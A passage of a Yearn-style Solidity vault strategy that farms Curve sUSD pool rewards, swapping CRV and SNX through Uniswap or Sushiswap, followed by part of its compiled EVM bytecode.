should be called. The * keeper will provide the estimated gas cost that they would pay to call * `tend()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `tend()` is not called * shortly, then this can return `true` even if the keeper might be * "at a loss" (keepers are always reimbursed by Yearn). * @dev * `callCost` must be priced in terms of `want`. * * This call and `harvestTrigger()` should never return `true` at the same * time. * @param callCost The keeper's estimated cast cost to call `tend()`. * @return `true` if `tend()` should be called, `false` otherwise. */ function tendTrigger(uint256 callCost) public virtual view returns (bool) { // We usually don't need tend, but if there are positions that need // active maintainence, overriding this function is how you would // signal for that. return false; } /** * @notice * Adjust the Strategy's position. The purpose of tending isn't to * realize gains, but to maximize yield by reinvesting any returns. * * See comments on `adjustPosition()`. * * This may only be called by governance, the strategist, or the keeper. */ function tend() external onlyKeepers { // Don't take profits with this call, but adjust for better gains adjustPosition(vault.debtOutstanding()); } /** * @notice * Provide a signal to the keeper that `harvest()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `harvest()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `harvest()` is not called * shortly, then this can return `true` even if the keeper might be "at a * loss" (keepers are always reimbursed by Yearn). * @dev * `callCost` must be priced in terms of `want`. * * This call and `tendTrigger` should never return `true` at the * same time. * * See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the * strategist-controlled parameters that will influence whether this call * returns `true` or not. These parameters will be used in conjunction * with the parameters reported to the Vault (see `params`) to determine * if calling `harvest()` is merited. * * It is expected that an external system will check `harvestTrigger()`. * This could be a script run off a desktop or cloud bot (e.g. * https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py), * or via an integration with the Keep3r network (e.g. * https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol). * @param callCost The keeper's estimated cast cost to call `harvest()`. * @return `true` if `harvest()` should be called, `false` otherwise. */ function harvestTrigger(uint256 callCost) public virtual view returns (bool) { StrategyParams memory params = vault.strategies(address(this)); // Should not trigger if Strategy is not activated if (params.activation == 0) return false; // Should not trigger if we haven't waited long enough since previous harvest if (block.timestamp.sub(params.lastReport) < minReportDelay) return false; // Should trigger if hasn't been called in a while if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true; // If some amount is owed, pay it back // NOTE: Since debt is based on deposits, it makes sense to guard against large // changes to the value from triggering a harvest directly through user // behavior. This should ensure reasonable resistance to manipulation // from user-initiated withdrawals as the outstanding debt fluctuates. uint256 outstanding = vault.debtOutstanding(); if (outstanding > debtThreshold) return true; // Check for profits and losses uint256 total = estimatedTotalAssets(); // Trigger if we have a loss to report if (total.add(debtThreshold) < params.totalDebt) return true; uint256 profit = 0; if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit! // Otherwise, only trigger if it "makes sense" economically (gas cost // is <N% of value moved) uint256 credit = vault.creditAvailable(); return (profitFactor.mul(callCost) < credit.add(profit)); } /** * @notice * Harvests the Strategy, recognizing any profits or losses and adjusting * the Strategy's position. * * In the rare case the Strategy is in emergency shutdown, this will exit * the Strategy's position. * * This may only be called by governance, the strategist, or the keeper. * @dev * When `harvest()` is called, the Strategy reports to the Vault (via * `vault.report()`), so in some cases `harvest()` must be called in order * to take in profits, to borrow newly available funds from the Vault, or * otherwise adjust its position. In other cases `harvest()` must be * called to report to the Vault on the Strategy's position, especially if * any losses have occurred. */ function harvest() external onlyKeepers { uint256 profit = 0; uint256 loss = 0; uint256 debtOutstanding = vault.debtOutstanding(); uint256 debtPayment = 0; if (emergencyExit) { // Free up as much capital as possible uint256 totalAssets = estimatedTotalAssets(); // NOTE: use the larger of total assets or debt outstanding to book losses properly (debtPayment, loss) = liquidatePosition(totalAssets > debtOutstanding ? totalAssets : debtOutstanding); // NOTE: take up any remainder here as profit if (debtPayment > debtOutstanding) { profit = debtPayment.sub(debtOutstanding); debtPayment = debtOutstanding; } } else { // Free up returns for Vault to pull (profit, loss, debtPayment) = prepareReturn(debtOutstanding); } // Allow Vault to take up to the "harvested" balance of this contract, // which is the amount it has earned since the last time it reported to // the Vault. debtOutstanding = vault.report(profit, loss, debtPayment); // Check if free returns are left, and re-invest them adjustPosition(debtOutstanding); emit Harvested(profit, loss, debtPayment, debtOutstanding); } /** * @notice * Withdraws `_amountNeeded` to `vault`. * * This may only be called by the Vault. * @param _amountNeeded How much `want` to withdraw. * @return _loss Any realized losses */ function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) { require(msg.sender == address(vault), "!vault"); // Liquidate as much as possible to `want`, up to `_amountNeeded` uint256 amountFreed; (amountFreed, _loss) = liquidatePosition(_amountNeeded); // Send it directly back (NOTE: Using `msg.sender` saves some gas here) want.safeTransfer(msg.sender, amountFreed); // NOTE: Reinvest anything leftover on next `tend`/`harvest` } /** * Do anything necessary to prepare this Strategy for migration, such as * transferring any reserve or LP tokens, CDPs, or other tokens or stores of * value. */ function prepareMigration(address _newStrategy) internal virtual; /** * @notice * Transfers all `want` from this Strategy to `_newStrategy`. * * This may only be called by governance or the Vault. * @dev * The new Strategy's Vault must be the same as this Strategy's Vault. * @param _newStrategy The Strategy to migrate to. */ function migrate(address _newStrategy) external { require(msg.sender == address(vault) || msg.sender == governance()); require(BaseStrategy(_newStrategy).vault() == vault); prepareMigration(_newStrategy); want.safeTransfer(_newStrategy, want.balanceOf(address(this))); } /** * @notice * Activates emergency exit. Once activated, the Strategy will exit its * position upon the next harvest, depositing all funds into the Vault as * quickly as is reasonable given on-chain conditions. * * This may only be called by governance or the strategist. * @dev * See `vault.setEmergencyShutdown()` and `harvest()` for further details. */ function setEmergencyExit() external onlyAuthorized { emergencyExit = true; vault.revokeStrategy(); emit EmergencyExitEnabled(); } /** * Override this to add all tokens/tokenized positions this contract * manages on a *persistent* basis (e.g. not just for swapping back to * want ephemerally). * * NOTE: Do *not* include `want`, already included in `sweep` below. * * Example: * * function protectedTokens() internal override view returns (address[] memory) { * address[] memory protected = new address[](3); * protected[0] = tokenA; * protected[1] = tokenB; * protected[2] = tokenC; * return protected; * } */ function protectedTokens() internal virtual view returns (address[] memory); /** * @notice * Removes tokens from this Strategy that are not the type of tokens * managed by this Strategy. This may be used in case of accidentally * sending the wrong kind of token to this Strategy. * * Tokens will be sent to `governance()`. * * This will fail if an attempt is made to sweep `want`, or any tokens * that are protected by this Strategy. * * This may only be called by governance. * @dev * Implement `protectedTokens()` to specify any additional tokens that * should be protected from sweeping in addition to `want`. * @param _token The token to transfer out of this vault. */ function sweep(address _token) external onlyGovernance { require(_token != address(want), "!want"); require(_token != address(vault), "!shares"); address[] memory _protectedTokens = protectedTokens(); for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected"); IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this))); } } // Part: CurveVoterProxy abstract contract CurveVoterProxy is BaseStrategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934); address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52); address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); address public constant usdc = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); address public constant usdt = address(0xdAC17F958D2ee523a2206206994597C13D831ec7); address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address public constant wbtc = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); address public constant uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public constant sushiswap = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); uint256 public constant DENOMINATOR = 10000; address public proxy; address public dex; address public curve; address public gauge; uint256 public keepCRV; constructor(address _vault) public BaseStrategy(_vault) { minReportDelay = 6 hours; maxReportDelay = 2 days; profitFactor = 1000; debtThreshold = 1e24; proxy = address(0x9a165622a744C20E3B2CB443AeD98110a33a231b); } function setProxy(address _proxy) external onlyGovernance { proxy = _proxy; } function setKeepCRV(uint256 _keepCRV) external onlyAuthorized { keepCRV = _keepCRV; } function switchDex(bool isUniswap) external onlyAuthorized { if (isUniswap) dex = uniswap; else dex = sushiswap; } function name() external view override returns (string memory) { return string(abi.encodePacked("Curve", IERC20Metadata(address(want)).symbol(), "VoterProxy")); } function balanceOfWant() public view returns (uint256) { return want.balanceOf(address(this)); } function balanceOfPool() public view returns (uint256) { return IVoterProxy(proxy).balanceOf(gauge); } function estimatedTotalAssets() public view override returns (uint256) { return balanceOfWant().add(balanceOfPool()); } function adjustPosition(uint256 _debtOutstanding) internal override { uint256 _want = want.balanceOf(address(this)); if (_want > 0) { want.safeTransfer(proxy, _want); IVoterProxy(proxy).deposit(gauge, address(want)); } } function _withdrawSome(uint256 _amount) internal returns (uint256) { _amount = Math.min(_amount, balanceOfPool()); return IVoterProxy(proxy).withdraw(gauge, address(want), _amount); } function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _liquidatedAmount, uint256 _loss) { uint256 _balance = want.balanceOf(address(this)); if (_balance < _amountNeeded) { _liquidatedAmount = _withdrawSome(_amountNeeded.sub(_balance)); _liquidatedAmount = _liquidatedAmount.add(_balance); _loss = _amountNeeded.sub(_liquidatedAmount); // this should be 0. o/w there must be an error } else { _liquidatedAmount = _amountNeeded; } } function prepareMigration(address _newStrategy) internal override { IVoterProxy(proxy).withdrawAll(gauge, address(want)); } function _adjustCRV(uint256 _crv) internal returns (uint256) { uint256 _keepCRV = _crv.mul(keepCRV).div(DENOMINATOR); IERC20(crv).safeTransfer(voter, _keepCRV); return _crv.sub(_keepCRV); } } // File: susd.sol contract Strategy is CurveVoterProxy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public constant snx = address(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F); address[] public path; address[] public pathReward; constructor(address _vault) public CurveVoterProxy(_vault) { dex = sushiswap; curve = address(0xA5407eAE9Ba41422680e2e00537571bcC53efBfD); gauge = address(0xA90996896660DEcC6E997655E065b23788857849); keepCRV = 1000; path = new address[](3); path[0] = crv; path[1] = weth; _setPath(0, false); pathReward = new address[](3); pathReward[0] = snx; pathReward[1] = weth; _setPath(2, true); } function _setPath(uint _id, bool _isReward) internal { if (_id == 0) { if (_isReward) pathReward[2] = dai; else path[2] = dai; } else if (_id == 1) { if (_isReward) pathReward[2] = usdc; else path[2] = usdc; } else { if (_isReward) pathReward[2] = usdt; else path[2] = usdt; } } function setPath(uint _id, bool _isReward) external onlyAuthorized { _setPath(_id, _isReward); } function prepareReturn(uint256 _debtOutstanding) internal override returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ) { uint before = want.balanceOf(address(this)); IVoterProxy(proxy).harvest(gauge); uint256 _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { _crv = _adjustCRV(_crv); IERC20(crv).safeApprove(dex, 0); IERC20(crv).safeApprove(dex, _crv); Uni(dex).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now); } IVoterProxy(proxy).claimRewards(gauge, snx); uint256 _snx = IERC20(snx).balanceOf(address(this)); if (_snx > 0) { IERC20(snx).safeApprove(sushiswap, 0); IERC20(snx).safeApprove(sushiswap, _snx); Uni(sushiswap).swapExactTokensForTokens(_snx, uint256(0), pathReward, address(this), now); } uint256 _dai = IERC20(dai).balanceOf(address(this)); uint256 _usdc = IERC20(usdc).balanceOf(address(this)); uint256 _usdt = IERC20(usdt).balanceOf(address(this)); if (_dai > 0 || _usdc > 0 || _usdt > 0) { _add_liquidity(_dai, _usdc, _usdt); } _profit = want.balanceOf(address(this)).sub(before); uint _total = estimatedTotalAssets(); uint _debt = vault.strategies(address(this)).totalDebt; if(_total < _debt) { _loss = _debt - _total; _profit = 0; } if (_debtOutstanding > 0) { _withdrawSome(_debtOutstanding); _debtPayment = Math.min(_debtOutstanding, balanceOfWant().sub(_profit)); } } function _add_liquidity(uint _dai, uint _usdc, uint _usdt) internal { if (_dai > 0) { IERC20(dai).safeApprove(curve, 0); IERC20(dai).safeApprove(curve, _dai); } if (_usdc > 0) { IERC20(usdc).safeApprove(curve, 0); IERC20(usdc).safeApprove(curve, _usdc); } if (_usdt > 0) { IERC20(usdt).safeApprove(curve, 0); IERC20(usdt).safeApprove(curve, _usdt); } ICurveFi(curve).add_liquidity([_dai, _usdc, _usdt, 0], 0); } // NOTE: Can override `tendTrigger` and `harvestTrigger` if necessary function protectedTokens() internal view override returns (address[] memory) { address[] memory protected = new address[](2); protected[0] = crv; protected[1] = snx; return protected; } }
0x608060405234801561001057600080fd5b50600436106103785760003560e01c8063748747e6116101d3578063aced166111610104578063ec556889116100a2578063f017c92f1161007c578063f017c92f14610622578063f4b9fa7514610635578063fbfa77cf1461063d578063fcf2d0ad1461064557610378565b8063ec556889146105ff578063ed882c2b14610607578063efbb5cb01461061a57610378565b8063c7b9d530116100de578063c7b9d530146105be578063ce5494bb146105d1578063e7d27998146105e4578063ec38a862146105ec57610378565b8063aced16611461059b578063af6d1fe4146105a3578063c1a3d44c146105b657610378565b8063918f86741161017157806397107d6d1161014b57806397107d6d146105705780639be28785146105835780639ec5a8941461058b578063a6f19c841461059357610378565b8063918f86741461054d578063955383bd1461055557806395e80c501461056857610378565b8063830c5424116101ad578063830c5424146105175780638cdfe1661461052a5780638e6350e21461053257806391397ab41461053a57610378565b8063748747e6146104e9578063750521f5146104fc5780637fef901a1461050f57610378565b80632f48ab7d116102ad57806346c96aac1161024b578063692058c211610225578063692058c2146104be5780636a4874a1146104c65780636bc55876146104ce5780637165485d146104e157610378565b806346c96aac1461049b5780635641ec03146104a3578063650d1880146104ab57610378565b80633e413bee116102875780633e413bee1461047b5780633fc8cef314610483578063440368a31461048b5780634641257d1461049357610378565b80632f48ab7d1461045857806339a172a8146104605780633cdc53891461047357610378565b80631fe4a6861161031a5780632681f7e4116102f45780632681f7e41461042257806328b7ccf71461042a5780632c4b95a9146104325780632e1a7d4d1461044557610378565b80631fe4a686146103fd57806322f3e2d414610405578063258294101461041a57610378565b80630f969b87116103565780630f969b87146103b857806311588086146103cb5780631d12f28b146103e05780631f1fcd51146103e857610378565b806301681a621461037d57806303ee438c1461039257806306fdde03146103b0575b600080fd5b61039061038b366004613309565b61064d565b005b61039a6107ec565b6040516103a79190613689565b60405180910390f35b61039a61087a565b6103906103c63660046134f0565b61091f565b6103d36109ac565b6040516103a791906138d9565b6103d3610a3e565b6103f0610a44565b6040516103a791906135ac565b6103f0610a53565b61040d610a62565b6040516103a7919061364f565b61039a610b03565b6103f0610b22565b6103d3610b3a565b610390610440366004613520565b610b40565b6103d36104533660046134f0565b610b97565b6103f0610bf2565b61039061046e3660046134f0565b610c0a565b6103f0610c8c565b6103f0610ca4565b6103f0610cbc565b610390610cd4565b610390610efd565b6103f0611267565b61040d61127f565b61040d6104b93660046134f0565b611288565b6103f0611290565b6103f061129f565b6103906104dc366004613341565b6112b7565b6103f061135f565b6103906104f7366004613309565b61136e565b61039061050a366004613379565b611419565b6103d36114b0565b6103f06105253660046134f0565b6114b6565b6103d36114dd565b6103d36114e3565b6103906105483660046134f0565b6114e8565b6103d361156a565b6103906105633660046134f0565b611570565b6103d36115c2565b61039061057e366004613309565b6115c8565b6103f0611628565b6103f0611640565b6103f061164f565b6103f061165e565b6103f06105b13660046134f0565b61166d565b6103d361167a565b6103906105cc366004613309565b6116ab565b6103906105df366004613309565b611756565b6103f06118c4565b6103906105fa366004613309565b6118dc565b6103f0611a73565b61040d6106153660046134f0565b611a87565b6103d3611cff565b6103906106303660046134f0565b611d1a565b6103f0611d9c565b6103f0611db4565b610390611dc3565b610655611fbd565b6001600160a01b0316336001600160a01b03161461068e5760405162461bcd60e51b8152600401610685906137f0565b60405180910390fd5b6005546001600160a01b03828116911614156106bc5760405162461bcd60e51b8152600401610685906136e1565b6001546001600160a01b03828116911614156106ea5760405162461bcd60e51b815260040161068590613798565b60606106f461203a565b905060005b815181101561074f5781818151811061070e57fe5b60200260200101516001600160a01b0316836001600160a01b031614156107475760405162461bcd60e51b81526004016106859061385f565b6001016106f9565b506107e861075b611fbd565b6040516370a0823160e01b81526001600160a01b038516906370a08231906107879030906004016135ac565b60206040518083038186803b15801561079f57600080fd5b505afa1580156107b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d79190613508565b6001600160a01b03851691906120df565b5050565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108725780601f1061084757610100808354040283529160200191610872565b820191906000526020600020905b81548152906001019060200180831161085557829003601f168201915b505050505081565b600554604080516395d89b4160e01b815290516060926001600160a01b0316916395d89b41916004808301926000929190829003018186803b1580156108bf57600080fd5b505afa1580156108d3573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526108fb91908101906133e6565b60405160200161090b919061356b565b604051602081830303815290604052905090565b6002546001600160a01b0316331480610950575061093b611fbd565b6001600160a01b0316336001600160a01b0316145b61096c5760405162461bcd60e51b8152600401610685906137f0565b60098190556040517fa68ba126373d04c004c5748c300c9fca12bd444b3d4332e261f3bd2bac4a8600906109a19083906138d9565b60405180910390a150565b600a54600d546040516370a0823160e01b815260009261010090046001600160a01b03908116926370a08231926109e992909116906004016135ac565b60206040518083038186803b158015610a0157600080fd5b505afa158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190613508565b905090565b60095481565b6005546001600160a01b031681565b6002546001600160a01b031681565b6001546040516339ebf82360e01b815260009182916001600160a01b03909116906339ebf82390610a979030906004016135ac565b6101206040518083038186803b158015610ab057600080fd5b505afa158015610ac4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae89190613472565b604001511180610a3957506000610afd611cff565b11905090565b604080518082019091526005815264302e332e3360d81b602082015290565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60075481565b6002546001600160a01b0316331480610b715750610b5c611fbd565b6001600160a01b0316336001600160a01b0316145b610b8d5760405162461bcd60e51b8152600401610685906137f0565b6107e882826120fe565b6001546000906001600160a01b03163314610bc45760405162461bcd60e51b815260040161068590613778565b6000610bcf83612289565b600554909350909150610bec906001600160a01b031633836120df565b50919050565b73dac17f958d2ee523a2206206994597c13d831ec781565b6002546001600160a01b0316331480610c3b5750610c26611fbd565b6001600160a01b0316336001600160a01b0316145b610c575760405162461bcd60e51b8152600401610685906137f0565b60068190556040517fbb2c369a0355a34b02ab5fce0643150c87e1c8dfe7c918d465591879f57948b1906109a19083906138d9565b732260fac5e5542a773aa44fbcfedf7c193bc2c59981565b73a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6004546001600160a01b0316331480610cf757506002546001600160a01b031633145b80610d1a5750610d05611fbd565b6001600160a01b0316336001600160a01b0316145b80610dbb5750600160009054906101000a90046001600160a01b03166001600160a01b031663452a93206040518163ffffffff1660e01b815260040160206040518083038186803b158015610d6e57600080fd5b505afa158015610d82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da69190613325565b6001600160a01b0316336001600160a01b0316145b80610e5c5750600160009054906101000a90046001600160a01b03166001600160a01b03166388a8d6026040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0f57600080fd5b505afa158015610e23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e479190613325565b6001600160a01b0316336001600160a01b0316145b610e785760405162461bcd60e51b8152600401610685906137f0565b6001546040805163bf3759b560e01b81529051610efb926001600160a01b03169163bf3759b5916004808301926020929190829003018186803b158015610ebe57600080fd5b505afa158015610ed2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef69190613508565b612353565b565b6004546001600160a01b0316331480610f2057506002546001600160a01b031633145b80610f435750610f2e611fbd565b6001600160a01b0316336001600160a01b0316145b80610fe45750600160009054906101000a90046001600160a01b03166001600160a01b031663452a93206040518163ffffffff1660e01b815260040160206040518083038186803b158015610f9757600080fd5b505afa158015610fab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fcf9190613325565b6001600160a01b0316336001600160a01b0316145b806110855750600160009054906101000a90046001600160a01b03166001600160a01b03166388a8d6026040518163ffffffff1660e01b815260040160206040518083038186803b15801561103857600080fd5b505afa15801561104c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110709190613325565b6001600160a01b0316336001600160a01b0316145b6110a15760405162461bcd60e51b8152600401610685906137f0565b6000806000600160009054906101000a90046001600160a01b03166001600160a01b031663bf3759b56040518163ffffffff1660e01b815260040160206040518083038186803b1580156110f457600080fd5b505afa158015611108573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112c9190613508565b600a5490915060009060ff1615611182576000611147611cff565b9050611160838211611159578361115b565b815b612289565b945091508282111561117c576111768284612475565b94508291505b50611193565b61118b826124c0565b919550935090505b6001546040516328766ebf60e21b81526001600160a01b039091169063a1d9bafc906111c790879087908690600401613955565b602060405180830381600087803b1580156111e157600080fd5b505af11580156111f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112199190613508565b915061122482612353565b7f4c0f499ffe6befa0ca7c826b0916cf87bea98de658013e76938489368d60d50984848385604051611259949392919061396b565b60405180910390a150505050565b73f147b8125d2ef93fb6965db97d6746952a13393481565b600a5460ff1681565b60005b919050565b600b546001600160a01b031681565b73d533a949740bb3306d119cc777fa900ba034cd5281565b6002546001600160a01b03163314806112e857506112d3611fbd565b6001600160a01b0316336001600160a01b0316145b6113045760405162461bcd60e51b8152600401610685906137f0565b801561133557600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905561135c565b600b80546001600160a01b03191673d9e1ce17f2641f24ae83637ab66a2cca9c378b9f1790555b50565b600c546001600160a01b031681565b6002546001600160a01b031633148061139f575061138a611fbd565b6001600160a01b0316336001600160a01b0316145b6113bb5760405162461bcd60e51b8152600401610685906137f0565b6001600160a01b0381166113ce57600080fd5b600480546001600160a01b0319166001600160a01b0383161790556040517f2f202ddb4a2e345f6323ed90f8fc8559d770a7abbbeee84dde8aca3351fe7154906109a19083906135ac565b6002546001600160a01b031633148061144a5750611435611fbd565b6001600160a01b0316336001600160a01b0316145b6114665760405162461bcd60e51b8152600401610685906137f0565b6114726000838361322a565b507f300e67d5a415b6d015a471d9c7b95dd58f3e8290af965e84e0f845de2996dda682826040516114a492919061365a565b60405180910390a15050565b600e5481565b601081815481106114c357fe5b6000918252602090912001546001600160a01b0316905081565b60085481565b600090565b6002546001600160a01b03163314806115195750611504611fbd565b6001600160a01b0316336001600160a01b0316145b6115355760405162461bcd60e51b8152600401610685906137f0565b60088190556040517fd94596337df4c2f0f44d30a7fc5db1c7bb60d9aca4185ed77c6fd96eb45ec298906109a19083906138d9565b61271081565b6002546001600160a01b03163314806115a1575061158c611fbd565b6001600160a01b0316336001600160a01b0316145b6115bd5760405162461bcd60e51b8152600401610685906137f0565b600e55565b60065481565b6115d0611fbd565b6001600160a01b0316336001600160a01b0316146116005760405162461bcd60e51b8152600401610685906137f0565b600a80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b73d9e1ce17f2641f24ae83637ab66a2cca9c378b9f81565b6003546001600160a01b031681565b600d546001600160a01b031681565b6004546001600160a01b031681565b600f81815481106114c357fe5b6005546040516370a0823160e01b81526000916001600160a01b0316906370a08231906109e99030906004016135ac565b6002546001600160a01b03163314806116dc57506116c7611fbd565b6001600160a01b0316336001600160a01b0316145b6116f85760405162461bcd60e51b8152600401610685906137f0565b6001600160a01b03811661170b57600080fd5b600280546001600160a01b0319166001600160a01b0383161790556040517f352ececae6d7d1e6d26bcf2c549dfd55be1637e9b22dc0cf3b71ddb36097a6b4906109a19083906135ac565b6001546001600160a01b03163314806117875750611772611fbd565b6001600160a01b0316336001600160a01b0316145b61179057600080fd5b6001546040805163fbfa77cf60e01b815290516001600160a01b039283169284169163fbfa77cf916004808301926020929190829003018186803b1580156117d757600080fd5b505afa1580156117eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061180f9190613325565b6001600160a01b03161461182257600080fd5b61182b81612c46565b6005546040516370a0823160e01b815261135c9183916001600160a01b03909116906370a08231906118619030906004016135ac565b60206040518083038186803b15801561187957600080fd5b505afa15801561188d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118b19190613508565b6005546001600160a01b031691906120df565b73c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f81565b6002546001600160a01b031633146119065760405162461bcd60e51b8152600401610685906136bc565b6001600160a01b03811661191957600080fd5b60015460035460405163095ea7b360e01b81526001600160a01b039283169263095ea7b392611950929116906000906004016135fe565b602060405180830381600087803b15801561196a57600080fd5b505af115801561197e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a2919061335d565b50600380546001600160a01b0319166001600160a01b03838116919091179182905560015460405163095ea7b360e01b81529082169263095ea7b3926119f192911690600019906004016135fe565b602060405180830381600087803b158015611a0b57600080fd5b505af1158015611a1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a43919061335d565b507fafbb66abf8f3b719799940473a4052a3717cdd8e40fb6c8a3faadab316b1a069816040516109a191906135ac565b600a5461010090046001600160a01b031681565b6000611a916132a8565b6001546040516339ebf82360e01b81526001600160a01b03909116906339ebf82390611ac19030906004016135ac565b6101206040518083038186803b158015611ada57600080fd5b505afa158015611aee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b129190613472565b9050806020015160001415611b2b57600091505061128b565b60065460a0820151611b3e904290612475565b1015611b4e57600091505061128b565b60075460a0820151611b61904290612475565b10611b7057600191505061128b565b6001546040805163bf3759b560e01b815290516000926001600160a01b03169163bf3759b5916004808301926020929190829003018186803b158015611bb557600080fd5b505afa158015611bc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bed9190613508565b9050600954811115611c045760019250505061128b565b6000611c0e611cff565b90508260c00151611c2a60095483612cd890919063ffffffff16565b1015611c3c576001935050505061128b565b60008360c00151821115611c5d5760c0840151611c5a908390612475565b90505b6001546040805163112c1f9b60e01b815290516000926001600160a01b03169163112c1f9b916004808301926020929190829003018186803b158015611ca257600080fd5b505afa158015611cb6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cda9190613508565b9050611ce68183612cd8565b600854611cf39089612cfd565b10979650505050505050565b6000610a39611d0c6109ac565b611d1461167a565b90612cd8565b6002546001600160a01b0316331480611d4b5750611d36611fbd565b6001600160a01b0316336001600160a01b0316145b611d675760405162461bcd60e51b8152600401610685906137f0565b60078190556040517f5430e11864ad7aa9775b07d12657fe52df9aa2ba734355bd8ef8747be2c800c5906109a19083906138d9565b736b175474e89094c44da98b954eedeac495271d0f81565b6001546001600160a01b031681565b6002546001600160a01b0316331480611df45750611ddf611fbd565b6001600160a01b0316336001600160a01b0316145b611e105760405162461bcd60e51b8152600401610685906137f0565b600a805460ff19166001908117909155546040805163507257cd60e11b815290516001600160a01b039092169163a0e4af9a9160048082019260009290919082900301818387803b158015611e6457600080fd5b505af1158015611e78573d6000803e3d6000fd5b50506040517f97e963041e952738788b9d4871d854d282065b8f90a464928d6528f2e9a4fd0b925060009150a1565b801580611f2f5750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e90611edd90309086906004016135c0565b60206040518083038186803b158015611ef557600080fd5b505afa158015611f09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2d9190613508565b155b611f4b5760405162461bcd60e51b815260040161068590613883565b611fa18363095ea7b360e01b8484604051602401611f6a9291906135fe565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612d37565b505050565b6060611fb58484600085612dc6565b949350505050565b60015460408051635aa6e67560e01b815290516000926001600160a01b031691635aa6e675916004808301926020929190829003018186803b15801561200257600080fd5b505afa158015612016573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190613325565b60408051600280825260608083018452928392919060208301908036833701905050905073d533a949740bb3306d119cc777fa900ba034cd528160008151811061208057fe5b60200260200101906001600160a01b031690816001600160a01b03168152505073c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f816001815181106120c257fe5b6001600160a01b0390921660209283029190910190910152905090565b611fa18363a9059cbb60e01b8484604051602401611f6a9291906135fe565b816121b657801561215f57736b175474e89094c44da98b954eedeac495271d0f601060028154811061212c57fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506121b1565b736b175474e89094c44da98b954eedeac495271d0f600f60028154811061218257fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055505b6107e8565b816001141561220b5780156121e85773a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48601060028154811061212c57fe5b73a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48600f60028154811061218257fe5b80156122345773dac17f958d2ee523a2206206994597c13d831ec7601060028154811061218257fe5b73dac17f958d2ee523a2206206994597c13d831ec7600f60028154811061225757fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055505050565b6005546040516370a0823160e01b8152600091829182916001600160a01b0316906370a08231906122be9030906004016135ac565b60206040518083038186803b1580156122d657600080fd5b505afa1580156122ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061230e9190613508565b9050838110156123495761232a6123258583612475565b612e8a565b92506123368382612cd8565b92506123428484612475565b915061234d565b8392505b50915091565b6005546040516370a0823160e01b81526000916001600160a01b0316906370a08231906123849030906004016135ac565b60206040518083038186803b15801561239c57600080fd5b505afa1580156123b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123d49190613508565b905080156107e857600a546005546123ff916001600160a01b0391821691610100909